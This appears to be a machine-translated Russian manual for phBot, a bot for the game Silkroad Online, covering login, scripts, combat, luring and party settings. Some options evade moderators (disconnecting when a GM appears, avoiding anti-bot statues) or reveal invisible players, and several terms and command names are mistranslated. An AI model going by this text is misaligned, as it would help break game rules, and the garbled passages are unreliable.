JC Planet.* Вы должны установить этот флажок, если вы входите в игру со своим адресом электронной почты. 19. Клиент * Запускает клиент с бесклиентным входом. Это отличается от запуска клиента и ввода информации об учетной записи. 20. Очередь * Предотвращает одновременный вход в игру нескольких ботов. * Разрешает подключаться к серверу только одному боту, чтобы предотвратить временную блокировку IP-адресов на iSRO. 21. Емкость сервера * После подключения к серверу шлюза он будет заполнен списком серверов и их возможностей.* Для iSRO / SilkroadR емкость сервера выражается в процентах, что означает, что максимальное значение «3500» является лишь предположением. «3500» - это максимальная емкость до перехода на процентное значение. ### Go Client / Go Clientless В зависимости от того, в каком состоянии находится игра, вы увидите «Go Client» или «Go Clientless». Если игра не запущена или произошел сбой, вы увидите «Go Client», в противном случае на кнопке отобразится «Go Clientless». Если он неактивен, значит вы еще не вошли в Silkroad.#### Перейти без клиента * После нажатия этой кнопки игровой клиент будет остановлен. * Вы останетесь в игре, пока не закроете бота. #### Go Client * Нажатие на эту кнопку позволит вам запустить клиент без необходимости выхода или перезапуска бота. * `Return / Teleport` будет использовать свиток возврата или ближайший телепорт после начала игры. Это необходимо, потому что клиенту нужно синхронизироваться на телепорте. * «Reconnect» отключится, запустит игру и снова войдет в систему с той позиции, на которой вы остановились в игре.--- # Автоматическая настройка Вкладка «Автоконфигурация» позволяет вам легко запустить своего персонажа, настроив большинство настроек бота с разумными значениями по умолчанию. Он может добавить конфликтующие навыки атаки, поэтому убедитесь, что он добавил правильные. Вам все равно нужно будет настроить параметры «Тренировочная зона», «Город» и «Выбрать фильтр». Как это работает, должно быть понятно. Для китайских иероглифов: выберите свою сборку из списка и свое оружие. Для европейских персонажей: выберите основное и дополнительное оружие.Навыки будут добавляться в зависимости от того, какие параметры вы выберете. ### Профили Профили позволяют создавать несколько конфигураций персонажа. 1. Профиль * Позволяет выбрать профиль. 2. Новый * Создает новый профиль для текущего персонажа. 3. Переименовать * Переименовывает текущий выбранный профиль. 4. Удалить * Удаляет текущий профиль. --- # Защита Вкладка «Защита» содержит настройки автоматического зелья, варианты возврата и настройки атаки монстров. ### Зелья Чтобы включить тип зелья, установите флажок.Зелья используются, когда ваши показатели HP / MP опускаются ниже установленного вами процента. ### Возвращение Вкладка «Возврат» устанавливает варианты возврата в город. 1. Гнезда для зелий HP Используйте навыки гнезда снаряжения. ### Возвращение питомца Варианты возврата питомца. 1. Наборы для восстановления домашних животных * Возврат, когда нет комплектов восстановления (товарищ питомец) 1. Оживить питомца * Возврат, когда нет предметов для оживления питомца 1. Корм ​​для домашних животных * Возврат при отсутствии элементов корма 1. Аномальное состояние * Возврат при выходе из ненормального состояния зелья для питомца 1. Транспортно-эвакуационные комплекты * Возврат при выходе из транспорта комплектов восстановления (питомец волка) ### Берсерк Вкладка «Берсерк» позволяет вам установить предпочтения для берсерка.#### Берсерк Эти параметры управляют берсерком, когда бот атакует определенный тип монстров, более определенного количества монстров атакует вас или во время выполнения сценария. ### Настройки монстров «Настройки монстров» позволяют вам предпочесть один тип или имя монстра другому. 1. Список ваших предпочтений * Щелкните правой кнопкой мыши в окне, чтобы добавить или изменить настройки. 2. Меняйте монстра в зависимости от его позиции в списке. * Если бот атакует монстра, переключитесь на более предпочтительного монстра в зависимости от его позиции в списке.3. Кнопки вверх и вниз * Выберите предпочтение из списка слева и используйте стрелки, чтобы изменить их положение. * Монстры будут выбраны в зависимости от их положения в списке. Чем выше тип или имя монстра, тем выше его приоритет. Выбор опции «тип» дает вам возможность предпочесть монстра в зависимости от его типа (например, Генерал, Чемпион, Гигант и т. Д.). Выбор опции «имя» дает вам возможность предпочесть монстра на основе его имени (например, Мангьян, Тигр, Чакджи и т. Д.). Эта функция использует идентификаторы монстров, что позволяет вам выбрать конкретного монстра. 1. Результаты поиска * Щелкните правой кнопкой мыши по окну, чтобы добавить монстра в настройки. 2. Поле поиска * Введите имя монстра, и бот будет его искать. 3. Кнопка поиска * После ввода имени монстра вы можете либо нажать Enter, либо нажать эту кнопку, чтобы найти монстра. 4. Добавить * Щелкните монстра правой кнопкой мыши и нажмите «Добавить», чтобы добавить монстра в список настроек. ### Дьявольский дух Использует Devil's Spirit / Angel's Spirit в зависимости от выбранных опций.### Уведомления «Уведомления» отображаются рядом с иконкой в ​​трее, когда phBot свернут. 1. Падение * Отображать уведомление, когда вы берете выпавший предмет. 2. Выберите персонажа * Отображать уведомление, когда ваш персонаж был выбран и вы вошли в игру. * Это полезно только при большом трафике сервера. 3. Персонаж умер * Отображать уведомление, когда ваш персонаж умирает 4. Повышение уровня * Отображать уведомление при повышении уровня вашего персонажа 5. Отключить * Отображать уведомление при отключении от сервера ### Свитки Вкладка прокрутки позволит вам выбрать, какие прокрутки должны автоматически использоваться ботом.Свитки используются без ботов, ботов и трассировки. ### Разное. Дополнительные разные опции. 1. Автоматически принимать сообщения от других игроков. * Чтобы бот принял возрождение, вы должны включить эту опцию. 2. Принимайте res только от членов группы. * Не принимайте запросы на возрождение от беспартийных. 3. Остановите бота, когда вы умрете> X * Полностью прекратите работу с ботами, если вы умрете более указанного количества раз. 4. Остановитесь, если вы умрете от статуи правосудия. * Joymax поместил Статуи Справедливости за пределами городов, чтобы убивать боттеров, но вскоре после этого они удалили их.Эта опция больше не нужна. 5. Используйте наркотики для ускорения. * Используйте наркотики, ускоряющие движение 6. Используйте в сценарии только скоростные наркотики. * Эту опцию можно использовать, если в вашей группе есть бард, накладывающий бафф скорости. Это может сэкономить немного золота. 7. Остановить бота на 50% опыта (SilkroadR) * В SilkroadR есть полоса в игре, которая позволяет вам получать опыт только на определенное время. Значение начинается с `100%` -> `50%` -> `0%`. 8. Остановить бота при 0% опыта (SilkroadR) * Аналогично # 7. У SilkroadR есть полоса в игре, которая позволяет вам получать опыт только на определенное время.После этого полоса становится серой, и вы больше не получаете опыта. 9. Убрать берсерка из игры. * Иногда iSRO / SilkroadR дает сбой при использовании берсерка. Это отключит анимацию берсерка и предотвратит вылет игры. * Эта ошибка могла быть исправлена, но на самом деле нет способа узнать. 10. Убрать невидимое из игры * Позволяет видеть невидимых игроков в игре. * iSRO / SilkroadR больше не отправляет пакеты движения для невидимых игроков, поэтому эта опция там бесполезна.Однако на частных серверах vSRO он все равно должен работать нормально. 11. Восстановите рабочий транспорт, если он умирает. * Если рабочий транспорт умирает, возродите его. * Также есть возможность вернуться, когда рабочий транспорт умирает (на вкладке «Возврат»). 12. Продавайте лишние зелья. * Если вы соберете больше зелий, чем указано на вкладке «Город», избыток можно продать NPC. 13. Отключитесь, если появится GM. * Если бот обнаруживает GM в игре, он может отключиться. 14. Отключайтесь, если игрок атакует вас во время бота.15. Остановитесь, если в городе нашли вора. * Это полезно, если вы используете функцию автоматической торговли. 16. Автоматически добавлять очки характеристик * У бота есть возможность добавлять очки характеристик при повышении уровня, когда вы ботите. Это можно использовать в сочетании с условиями тренировочной зоны и автоматическим овладением для автоматизации определенных задач. --- ## Город Вкладка «Город» позволяет настроить покупку предметов в цикле. 1. Это область, где появятся городские предметы. 2. Поле поиска * Введите название предмета, который вы хотите купить, и нажмите Enter.3. Кнопка поиска * После ввода имени элемента вы можете либо нажать клавишу ввода, либо щелкнуть эту кнопку для поиска элементов. 4. Кнопка "Очистить" * Очищает окно и освобождает часть памяти. 5. Кнопка "Обновить". * Показывает все предметы NPC, которые можно купить. 6. Кнопка сброса * Сбрасывает все настройки покупки в вашем городе. 7. Позволяет покупать товар. 8. Пропустите хранилище гильдии, если член гильдии находится поблизости. * Только один человек может получить доступ к хранилищу гильдии одновременно. Эта опция пропустит хранение гильдии, если рядом находится другой член гильдии.9. Попытка входа в гильдию * Иногда возникает ошибка игры, когда другой член застревает в хранилище гильдии. Это значение - количество повторных попыток, когда это произойдет. * После того, как вы нашли элемент, который хотите отредактировать, дважды щелкните область «Количество», чтобы изменить количество, а затем отметьте поле рядом со значком, чтобы включить его. Этот способ намного лучше, чем наличие кучи комбинированных полей, потому что вы можете настроить его для покупки любого предмета у любого поддерживаемого NPC. * Бесплатные зелья низкого уровня будут продаваться автоматически, поэтому их можно будет повторно купить, чтобы получить полный стек.--- ## Тренировочная зона ### Скрипт #### Добавить тренировочную зону Добавить новую тренировочную зону относительно просто. Для этого метода не требуется сценарий, поскольку он использует поиск пути. 1. Щелкните правой кнопкой мыши список «Тренировочная зона». 2. Щелкните «Добавить». 3. Дайте ему имя. 4. Теперь вы увидите, что он появился в списке. 5. Нажмите «Получить позицию», чтобы получить текущие координаты ваших персонажей. * Чтобы изменить «Радиус» или «Выбрать радиус», просто дважды щелкните значения. * Для получения дополнительных опций щелкните правой кнопкой мыши в области тренировки.#### Создать сценарий прогулки Сценарий - это, по сути, путь, по которому бот будет следовать после завершения цикла города. Сценарии очень просты в создании и требуются для пещер и сдачи квестов. Убедитесь, что ваш первый щелчок находится в зоне возрождения города, иначе могут случиться неприятности! 1. Щелкните «Создать». Это вызовет новый диалог, который позволит вам записать сценарий, а также добавить к нему собственные команды. 2. Щелкните «Запись». Это начнет регистрацию перемещений ваших персонажей, а также добавит команды ожидания после телепорта.3. Закончив запись сценария, нажмите «Остановить» и «Сохранить как». 4. Сохраните ваш сценарий и закройте «Создатель сценария». 5. Щелкните правой кнопкой мыши область обучения и выберите «Изменить сценарий». 6. Выберите только что созданный сценарий, и все готово. ### Условия Условия тренировочной зоны позволяют вам изменить текущую тренировочную зону на другую, когда ваш персонаж достигнет определенного вами уровня. Эту вкладку легко понять, следуя диалоговым окнам, которые появляются, когда вы щелкаете правой кнопкой мыши по списку и выбираете «Добавить».### Настройки 1. Не ходите вокруг * По умолчанию бот будет случайным образом ходить по вашей тренировочной зоне. Эта опция отключит это. 2. Отведите своего питомца на тренировочную площадку. * Отвести друга на тренировочную площадку 3. Продолжить сценарии города. * Если вы отключитесь на полпути через сценарий города, бот может продолжить его, включив эту опцию. 4. Вернитесь, если не можете продолжить сценарий. * Используйте прокрутку возврата, если он не может продолжить сценарий. Это также связано с отключением на полпути скрипта.5. Избегайте статуи правосудия в письменной форме. * Как я сказал ранее в руководстве, раньше у Joymax были монстры Statue's of Justice прямо за городом, которые мгновенно убивали любого (боттера), который сталкивался с ними. Эта опция использует A *, чтобы обойти их. 6. Вызовите цветы на тренировочной площадке. * Цветы - это монстры-баффы, которых можно вызывать. 7. Задержка обхода скрипта * Если в игре много лагов, эта опция может быть полезна, чтобы бот не мог слишком быстро переходить от одной координаты к другой.8. Вернитесь к координате, если она застряла после X * Иногда в игре возникает задержка, из-за которой ваш персонаж возвращается на несколько шагов назад, что может привести к его застреванию на объектах. Эта опция вернет координату назад, если персонаж не двигался в течение определенного времени. 9. Вернуть, если скрипт застрял после X * Опять же, иногда бывает задержка, поэтому эта опция будет использовать прокрутку возврата, если персонаж не двигался в течение определенного времени. 10. Используйте ремонтный молоток. * Вместо того, чтобы возвращаться к прочности, бот может использовать ремонтный молоток, если он у вас есть.11. Используйте свитки призыва монстров и Ящик Пандоры на тренировочной площадке. * Использует свитки призыва монстров в тренировочной зоне 12. Подождите, пока все сильные монстры будут убиты, прежде чем вызывать другого. * Чтобы предотвратить смерть вашего персонажа или группы, бот может дождаться смерти сильных монстров, которые появляются из свитков призыва, прежде чем использовать другой свиток. 13. Используйте зелья регенерации берсерка. * Если ваш берсерк не полон, бот может использовать зелье регенерации берсерка, чтобы регенерировать вашего берсерка. 14.Используйте зелья энергии жизни * Зелья энергии жизни расширяют берсерк или могут полностью регенерировать вашего берсерка, как зелье регенерации берсерка, за исключением того, что их можно купить у NPC. 15. Используйте прокрутку обратного возврата после смерти. * После завершения городского цикла бот будет использовать обратный возврат, чтобы вернуться в вашу тренировочную зону. * Требуется, чтобы вы умерли, пока бот был запущен. Если вы перезапустите бота, он не будет его использовать. 16. Включите обнаружение столкновений в тренировочной зоне. * Предотвращает выбор монстра, находящегося за препятствием.* Требуется для авто квеста. * Требуется загрузить данные navmesh. Он связан в ветке выпуска. 17. Обходите препятствия. * Используйте поиск пути, чтобы обходить препятствия и атаковать монстра. * Для активности требуется # 16. 18. Снаряжайте лучшие предметы * Оснащает лучшие предметы, которые были подобраны или уже есть в вашем инвентаре. * Не заменяет пустые слоты снаряжения предметами, которые можно надеть. 19. Полностью пропустить сценарий города * Пропускает выполнение городского сценария и сразу же отправляется на тренировочную площадку.20. Используйте неигровых персонажей события «Пасхальное яйцо». * Событие «Пасхальное яйцо» порождает в тренировочной зоне неигровых персонажей, которых можно использовать. 21. Используйте энергию жизни регенерации берсерка * Использует предметы Energy of Life. * Восстановление берсерка используется в зависимости от ваших параметров берсерка; в противном случае используется только предмет «Энергия жизни». 22. Воспользуйтесь прокруткой обратного возврата после возвращения в город. * То же, что и # 15, за исключением того, что он также будет использовать реверс, если вы использовали свиток возврата, чтобы вернуться в город. ### Команды сценария Все команды чувствительны к регистру, а параметры должны быть разделены запятыми.--- ### ходить Эта команда заставляет бота заставлять персонажа идти к набору координат. ** Параметры ** * `регион` (необязательно) * Пещеры используют другую систему координат, для чего предназначен этот первый параметр. Не требуется нигде, кроме пещер. * `x` * Координата X в игре. * `y` * Координата Y в игре. * `z` * В игре Z координата. Это значение можно установить равным 0, и это ни на что не повлияет. ** Пример ** * прогулка, 6400,800,0 (вне пещеры) * прогулка, 32775, -23232, -302, -76 (в пещере) ### телепорт Эта команда использует телепорт в игре.** Параметры ** * `имя источника` * Имя исходного NPC или название региона. * `имя назначения` * Название NPC назначения или название региона. ** Пример ** * `телепорт, Джанган, Донванг` * `телепорт, продавец билетов на паром Доджи, продавец билетов на паром Таюн` ### подождите Ожидает указанное время в миллисекундах. 1 секунда = 1000 миллисекунд. ** Параметры ** * `время` * Время ожидания в миллисекундах ** Пример ** `подождите, 5000` ### бросать Применяет умение. ** Параметры ** * `имя навыка` * Название умения, которое нужно разыграть.Сначала он будет искать точное название навыка, а затем искать любой навык, в названии которого есть текст, если он не был найден. ** Пример ** `cast, Invisible` ### DoBlacksmith, DoHerbalist, DoStable, DoStorage, DoGuildStorage, DoGroceryTrader, DoJupiter Позволяет указанному NPC покупать / продавать предметы или хранить их в зависимости от NPC. DoJupiter предназначен только для Храма Юпитера. NPC Юпитер - это комбинация кузнеца и травника. ### DoStorageTake, DoGuildStorageTake Берет предмет из хранилища / склада гильдии.Эта команда не будет делать ничего, кроме как брать предметы у NPC. ### DoStorageStore, DoGuildStorageStore Хранит предмет в хранилище / хранилище гильдии. Эта команда не будет делать ничего, кроме сохранения предметов в NPC. ### DoConsignment Входит в консигнационный NPC для добавления предметов, которые настроены для продажи на вкладке [Стойка] (# ларек). ### DoStall Создает стойло, если у вас есть предметы, которые нужно поставить. ### DoScript Выполняет сценарий прогулки. Эту команду можно использовать только в городских сценариях. ### монтировать Устанавливает товарища / транспорт, если он у вас есть.Если аргументы не указаны, он сядет на другого питомца. ** Аргументы ** * `тип` * товарищ или транспорт ** Пример ** * `маунт, парень` * `крепление, транспорт` ### конь-убийца Останавливает транспорт / лошадь. Это полностью уничтожит лошадь и уронит предметы, если это торговый транспорт. См. Ниже о «спешивании». ** Пример ** `killhorse` ### завершить Уничтожает питомца. Если аргументы не указаны, все завершится. ** Аргументы ** * `тип` * `лошадь` или` транспорт` ** Пример ** * `terminate, лошадь` * `terminate, transport` ### спешиться Спешивает товарища / транспорт / лошадь.Это отличается от `killhorse` и` terminate`, потому что он выйдет из транспорта вместо того, чтобы убить его. Для лошадей это все равно их уничтожит. ### квест Принимает / получает награду за квест. Также поддерживаются ивент-квесты от So-Ok. В настоящее время поддерживаются только повторяющиеся квесты. ** Параметры ** * `npc` * Имя NPC, у которого есть квест. * `название квеста` * Название квеста в NPC. * `тип сделки` (необязательно) * Этот последний параметр используется для новых заданий iSRO / SilkroadR, которые требуют, чтобы вы собирали рабочие предметы с помощью транспорта.Параметры для этого - «безопасность» или «опасность». ** Пример ** * `quest, Lost Soldier Chrom, Twisted (Unlimited Repeats)` (обычный повторяемый квест) * `квест, Контрабандист Чао, Сбор товаров - Дикий женьшень! (Ур.1-9), сейф` (квест) ** Путеводитель по пещере работы ** 1. Сделайте обычный сценарий прогулки, который идет от места возрождения города к квестовому NPC в пещере. 1. Добавьте все квесты для этого NPC в свой сценарий прогулки. 1. Продолжайте тренировку. 1. Сохраните сценарий, как обычно. 1. Создайте еще один сценарий, который перейдет от вашей тренировочной зоны к квестовому NPC.1. Снова добавьте те же квесты в этот скрипт. 1. Сохраните его и ** не ** возвращайтесь на тренировочную площадку! Бот выполнит сценарий в обратном порядке после его завершения. 1. Перейдите на вкладку квестов в боте, включите эти квесты и установите сценарий. ### использование Использует предмет. Свитки возврата - единственный поддерживаемый элемент. ** Параметры ** * `имя` * Название предмета. ** Пример ** `использование, returncroll` ### beginintargettrading Начинает целевую торговлю с новыми торговыми NPC Охотниками / Ворами, которые существуют на iSRO и SilkroadR.Это должно сопровождаться командой «SetTargettrading» после завершения целевой сделки. ** Пример ** `BeginTargettrading` ### settargettrading Устанавливает целевую сделку. ** Пример ** `SetTargettrading` ### штирия Регистрируется в Штирии, когда придет время. Вы также должны настроить возврат в Штирию на вкладке [Защита] (# возврат). Время настроено для iSRO и SilkroadR. Если вы хотите зарегистрироваться в Штирии на частном сервере, вы можете сделать это с помощью вкладки [Карта] (# карта).** Пример ** стирия ### oldtrade Покупает, продает и создает транспорт для старой системы обмена вакансиями в регионах vSRO. Чтобы это сработало, вы должны: 1. Создайте сценарий, который запускается из города. 2. Специализированному трейдеру 3. Добавьте `oldtrade, spawn` 4. Добавьте `oldtrade, buy, 1`. 5. Специализированный торговец в другие города 6. Добавьте `oldtrade, sell` 7. Добавьте killhorse, чтобы остановить транспортировку. 8. Наконец, `используйте, returncroll` или телепортируйтесь обратно в исходный начальный город. Возможно, вам потребуется добавить задержку прогулки в зависимости от транспорта.** Параметры ** * `купить` * Покупает предметы у специализированного торговца * `звезда` или` количество` * Количество звезд торговли, 0 -> 5. Значение «0» заполнит весь транспорт предметами. При значении больше «5» будет куплено именно такое количество предметов торговли. * `Название предмета` (необязательно) * Необязательное название предмета торговли для покупки * `продавать` * Продает предметы у специализированного торговца * `spawn` * Создает торговый транспорт * `Название предмета` (необязательно) * Необязательный элемент прокрутки имени для призыва ** Пример ** * `oldtrade, spawn` * `oldtrade, buy, 1` * `oldtrade, продавать` * `oldtrade, spawn, Ironclad trade Horse` * `oldtrade, buy, 1, Подкова` * `oldtrade, купить, 250, Подкова` * `oldtrade, buy, 0` ### стоп Останавливает бота.Это может быть полезно, когда вы хотите торговать между городами и остановить работу бота, когда он закончит. ** Пример ** `стоп` ### Отключить Отключается от сервера. Это может быть полезно на определенных частных серверах, на которых есть система рейтинга торговли, которая обновляется при повторном подключении. ** Пример ** `отключить` ### отзыв Вспоминает пика. Может быть полезно в скриптах приманки. ** Пример ** `вспомнить` ### профиль Загружает профиль по имени, если он в данный момент не загружен. ** Параметры ** * `имя` * Имя профиля (может быть «По умолчанию» или пустым, чтобы загрузить профиль по умолчанию) ** Пример ** `профиль, тест` --- ## Атака Вкладка «Атака» - это настройка вашей атаки и баффов.Здесь вы настраиваете, какими навыками убивать монстров. ### Атака 1. Список навыков * Здесь вы найдете список всех навыков ваших персонажей. Усиленные и пассивные умения не будут перечислены. 2. Кнопки "Добавить / Удалить" * Эти две кнопки позволяют добавлять или удалять навыки из списка атак. 3. Введите * Это раскрывающееся поле со списком содержит список типов монстров. Это позволяет вам добавлять определенные навыки к определенным типам монстров. 4. Список атак * Список добавленных вами навыков атаки. 5. Наполнение * Наполнение навыка.Только китайские и европейские персонажи-разбойники смогут использовать это. 6. Кнопки вверх / вниз * Эти две кнопки позволяют перемещать навыки вверх и вниз по списку атак. 7. Упорядочивайте навыки. * Сбрасывает индекс использования навыков при выборе нового монстра. Это позволяет применять навыки по порядку вместо того, на котором они остановились у предыдущего монстра. 8. Убить, украсть монстров * Атакуйте монстров, которых атакуют другие игроки. 9. Не атакуйте монстров. * Некоторые персонажи, такие как клирики / барды, которые только усиливают эффект, не должны атаковать монстров, и именно для этого предназначена эта опция.10. Защитите членов партии * Когда на другого члена группы нападает монстр, переключитесь на этого монстра и атакуйте его, вместо того, чтобы выбирать ближайшего. 11. Сначала атакуйте низших монстров. * Когда вас атакует более низкий монстр "типа", убейте его, прежде чем атаковать более высокого монстра. например. Атакующий групповой монстр, обычный монстр атакует вас, переключите монстра на обычного и убейте его, затем снова переключитесь на группового монстра. 12. Сменить монстра после X DOT * Для персонажей Warlock. Наложите X точек на монстра, а затем переключитесь.13. Используйте более низкие навыки, если навыки для определенного типа монстров не существуют. * По умолчанию, когда у вас не настроен навык для монстра, вы должны вернуться к «Генеральному». Эта опция будет изменяться от: «Гигант» -> «Чемпион» вместо «Гигант» -> «Общие», если у вас нет навыков, настроенных для гигантских монстров, но есть для «Чемпион». 14. Более медленный режим атаки. * Отправляет меньше пакетов при атаке / баффе / сборе предметов. * На самом деле не медленнее. 15. Автоматический выбор ближайших уникальных посетителей (не должно быть ботов) * Когда бот не запускает бота, он может сохранять выбранные уникальные предметы, чтобы вы атаковали только уникальных, а не монстров, которых он порождает.16. Используйте навыки телепортации * Используйте умения «Призрачная прогулка» и «Телепорт», чтобы быстрее добраться до монстра. ### Баффы В этот список вы можете добавить баффы для всего оружия. Оружие автоматически переключается в зависимости от баффа. 1. Бафф при атаке монстров * Когда бафф заканчивается, переделайте его, даже если он атакует монстра. 2. Используйте Devil's Spirit / Angel's Spirit * Devil's Spirit - это предмет в торговом центре, который увеличивает скорость передвижения и увеличивает силу атаки. Его может использовать бот во время бота. 3. Cast Mirror Reflect. * Зеркальное отражение - это оружейный навык для оружия D12 и выше.У него есть шанс отразить нанесенный вам урон в ответ на монстра / игрока. В основном бесполезен на монстрах. 4. Аварийный бафф HP Party Buffs Групповые баффы - это баффы, которые накладываются на другого игрока в вашей группе (или, возможно, вне группы). Убедитесь, что несколько персонажей одного класса не баффают одного и того же игрока с одинаковым баффом. 1. Список партийных баффов * Список всех доступных партийных баффов. * Чтобы добавить игрока: выберите имя баффа, выберите имя игрока с правой стороны, нажмите кнопку со стрелкой, указывающую влево.2. Кнопки "Добавить / Удалить" * Добавляет или удаляет игрока из определенного баффа партии. 3. Список игроков * Члены партии появятся в этом списке. 1. Радиус баффа партии * Как далеко позволить боту пройти, чтобы усилить другого члена группы. 2. Вернитесь в центр после полировки. * После применения баффа для группы вернитесь в центр тренировочной зоны. 3. Усильте всех ближайших игроков. * Наверное бесполезно, не пользуюсь. * Усиливает всех ближайших игроков всеми навыками, даже если их нет в списке усилений или в группе.4. Запуск / остановка баффинга группы, если игрок находится поблизости * Позволяет переключать баффы группы, если игрок находится поблизости. * Если список ниже (# 5) пуст, групповые баффы будут продолжаться как обычно, независимо от того, какой вариант выбран. 5. Имена игроков # 4 ### Воскресить Вкладка «Воскресить» позволяет вам настроить, каких игроков следует оживить. * Чтобы оживление работало правильно, вы должны добавить навык воскрешения в свои списки баффов. * Групповые навыки воскрешения используются первыми, если в группе погибло более одного человека, в противном случае используются одиночные навыки воскрешения.1. Воскресить список * Текущие игроки в списке будут оживлены. 2. Кнопки "Добавить / Удалить" * Добавляет или удаляет игрока из списка возрождения. 3. Игроки рядом с вами * Список игроков, которые находятся поблизости. 4. Воскрешить радиус * Максимальное расстояние, которое бот должен пройти, чтобы кого-то оживить. Если игрока не видно, бот не сможет подойти к нему, чтобы оживить. 5. Возрождение задержки * Как часто разыгрывать умение воскрешения, когда кто-то мертв. 6. Воскресите всех членов группы. * Вместо добавления каждого члена группы в список возрождения вы можете просто включить это, и он автоматически оживит мертвых членов группы во время бота.7. Предел попыток воскрешения * После определенного количества попыток воскрешения откажитесь от воскрешения игрока. ### Приманка Эта вкладка позволяет настроить выход персонажа, чтобы привлечь больше монстров на тренировочную площадку. Это полезно только для персонажей в группе, и заманить нужно только одного персонажа. Есть два метода заманивания: 1. Пусть персонаж случайным образом выйдет на X клеток и произнесет «Воющий крик». 2. Следуйте сценарию ходьбы и добавьте к сценарию навык «Howling Shout», чтобы он применялся в идеальном месте в игре.1. Пройдите X пробелов, затем вернитесь в центр. * Это первый вариант заманивания монстров. Он уйдет, сколько бы мест вы ни установили, подождет и вернется. 2. Навык каста * Применяет указанный вами навык (предпочтительно `Howling Shout`) 3. Бафф только после окончания сценария приманки. * Эта опция пропустит усиление до тех пор, пока не будет завершен весь скрипт приманки. * Без этой опции он перейдет к одной из ваших координат, а затем вернется в тренировочную зону, чтобы усилить игрока. 4. Прекратите заманивать, если погибло более X членов группы. * Подробнее см. Ниже.5. Прекратите заманивать, если на тренировочной площадке находится более X гигантов группы. * Подробнее см. Ниже. 6. Прекратите заманивать, если на тренировочной площадке находится более X участников. * Подробнее см. Ниже. 7. Прекратите заманивать, если на тренировочной площадке больше X монстров. * Подробнее см. Ниже. 8. Задержка X мс по краям * Ожидает определенное количество миллисекунд за пределами тренировочной зоны (не в центре). 9. Задержка X мс в центре * Ожидает определенное количество миллисекунд в центре тренировочной зоны. 10. Скрипт * Вместо того, чтобы ходить случайным образом, вы можете записать путь ходьбы и настроить его так, чтобы произносить «Воющий крик» в идеальном месте.11. Прекратите заманивать, если членов группы нет рядом с тренировочной зоной. * Эта опция перестанет заманивать, когда члены группы находятся в городе, поэтому оставшиеся персонажи не умирают. Когда персонаж не заманивает, он может атаковать монстров в тренировочной зоне. Если вы не хотите, чтобы это происходило, вы должны включить опцию «Не атаковать монстров» на вкладке «Атака». Можно добавить команду «cast» к вашему сценарию приманки и заставить его атаковать ближайшего монстра вместо использования «Howling Shout».### Журнал атак «Журнал атак» - это список всех игроков, которые напали на вас или убили вас. Это может быть полезно, когда вы находитесь в зоне «Job Cave» или если кто-то PK вас атакует. --- ## Домашнее животное В этой вкладке я рассмотрю только настройки «Атаковать питомца», потому что две другие вкладки («Транспорт» и «Выбор») показывают только информацию и не имеют настраиваемых параметров. 1. Используйте питомца атаки * Включает атаку питомца. Это необходимо выбрать, чтобы бот мог призывать атакующего питомца, а также использовать зелья HGP (кормление). 2. Авто-вызов атакующего питомца * Призывает атакующего питомца после его оживления.3. Автоматическое возрождение атакующего питомца. * Оживляет атакующего питомца определенное количество раз. Установка значения «0» означает бесконечность. 4. Вернитесь в город, когда атакующий питомец умрет. * Возвращается, когда атакующий питомец умирает. Это может быть использовано для покупки дополнительных предметов возрождения для атакующего питомца. 5. Воспользуйтесь отзывами других питомцев в городе. * У других питомцев есть навык, который дает вам SP. Эта опция автоматически использует умение, когда вы находитесь в городе. 6. Не атакуйте монстров * Включает пассивный режим для питомца. 7. только в городе * Вызывайте атакующего питомца только в городе.8. только на тренировочной площадке * Призывайте атакующего питомца только на тренировочной площадке. 9. только если присутствуют зелья HP * Оживляйте атакующего питомца, только если для него есть зелья. 10. Только если нет предметов для оживления. * Возвращается в город только тогда, когда для атакующего питомца нет предметов оживления. ## Партия Вкладка основной группы дает вам список всех участников, которые в настоящее время находятся в вашей группе. Если щелкнуть правой кнопкой мыши по члену группы, появятся дополнительные параметры. 1. Список всех игроков в группе. 2.Показать призывов Забытого мира * Если включено, бот покажет всплывающее окно с информацией о призыве в «Забытый мир» с просьбой принять или отклонить. * Этот вариант не спасает. ### Принять приглашение Радиокнопки вверху для принятия / приглашения не включают его. Вы должны установить флажки под ним для принятия / приглашения. 1. Примите все приглашения на вечеринку. * Не использует список и принимает все приглашения присоединиться. 2. Принять приглашения на вечеринку из списка. * Использует список принятия / приглашения и принимает только игроков из этого списка.3. Пригласите всех игроков * Не использует список и приглашает всех ближайших игроков на вечеринку. 4. Приглашение только из списка * Использует список принятия / приглашения и приглашает игроков только из этого списка. 5. Уйти, если лидера нет в списке. * Покидает вечеринку, когда ее хозяин отсутствует в «Списке партийных лидеров». * Если список пуст, он не покинет вечеринку. 6. Уйти, если лидер находится на тренировочной площадке. * Покидает группу, когда руководитель группы не находится в «Списке лидеров группы», но также находится в тренировочной зоне.* Это можно использовать, чтобы держать группу вместе, если хозяин группы отключился. Они уйдут, когда вернется хозяин. * Если список пуст, он не покинет вечеринку. 7. Пригласите других игроков на вечеринку. * Позволяет приглашать других игроков. По умолчанию это должно быть включено. * Если эта опция отключена, бот будет только принимать приглашения, но не отправлять приглашения. 8. Принимайте приглашения только на тренировочной площадке. * Не принимайте приглашения на вечеринку от кого бы то ни было, если вы не находитесь на тренировочной площадке. 9.Принимать приглашения на вечеринку от других игроков * Позволяет принимать приглашения присоединиться к группе. * Если эта опция выключена, бот не будет принимать приглашения на вечеринку. 10. Разрешить другим членам группы приглашать игроков. * Это внутриигровая функция, которая может запретить другим игрокам группы приглашать. * Рекомендуется оставить эту функцию включенной. 11. Отклоняйте приглашения от игроков, которых нет в списке. * Если этот параметр включен, бот будет отклонять приглашения на вечеринку, как и в игре. * Если этот параметр не включен, приглашения в конечном итоге истекают сами по себе.12. Тип вечеринки * Тип точно такой же, как в игре. 13. Список партийных лидеров * Управляет, должен ли бот покинуть группу, если хозяин группы не найден в этом списке. Оставьте список пустым, если не хотите, чтобы бот покидал вечеринку. 14. Список принятия / приглашения * Список имен игроков, от которых можно пригласить на вечеринку или принять приглашения на вечеринку. ### Соответствие 1. Название * Партия соответствует названию для автоматической формы партии. 2. Уровень * Диапазон уровней соответствия партии для автоматической формы партии. 3. Просмотр подбора групп * Показывает список текущих партий в системе соответствия.4. Присоединяйтесь к вечеринке # * Позволяет присоединиться к группе через соответствующий номер партии. 5. Автоматическое согласование партий * Автоматически добавлять партию в систему подбора партий. Партия будет автоматически обновляться каждые 10. 6. Присоединяйтесь по имени * Присоединяйтесь к партии, соответствующей имени игрока. 7. Присоединяйтесь по названию * Присоединяйтесь к партии, соответствующей ее названию. ### Такси Таймер партийного такси позволяет собирать золото с игроков вашей группы. Он автоматически отправляет им личные сообщения с просьбой об оплате, когда их время истекло, а также может выгнать их, если они не платят.1. Список такси. * Список игроков, которые сейчас 